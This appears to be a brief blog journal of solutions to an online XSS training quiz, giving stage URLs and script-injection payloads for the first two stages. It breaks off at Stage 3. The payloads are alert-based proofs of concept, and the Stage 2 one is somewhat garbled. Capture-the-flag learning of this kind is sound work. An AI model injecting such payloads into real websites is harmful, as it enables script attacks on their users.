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XSS

CTF, Wargame, XSS,

XSS Challenges

Here’s my journal to solve all the XSS Challenges writed  by yamagata21 on http://xss-quiz.int21h.jp/, This is an starter level to people who want to learn some cross-site scripting and its several ways to inject on differents browsers. XSS Challenges http://xss-quiz.int21h.jp Stage1: http://xss-quiz.int21h.jp Solution: <script>alert(document.domain);</script> Stage2: http://xss-quiz.int21h.jp/stage2.php?sid=e93e71eed43c3ab5668af6a5aa603cf66eedce70 Solution: «><script>alert( alert(document.domain))</script> Stage3: http://xss-quiz.int21h.jp/stage-3.php?sid=d362dd49b96c30f3e9a4a6ea0abafb0cef59ed2d Solution: The input in text box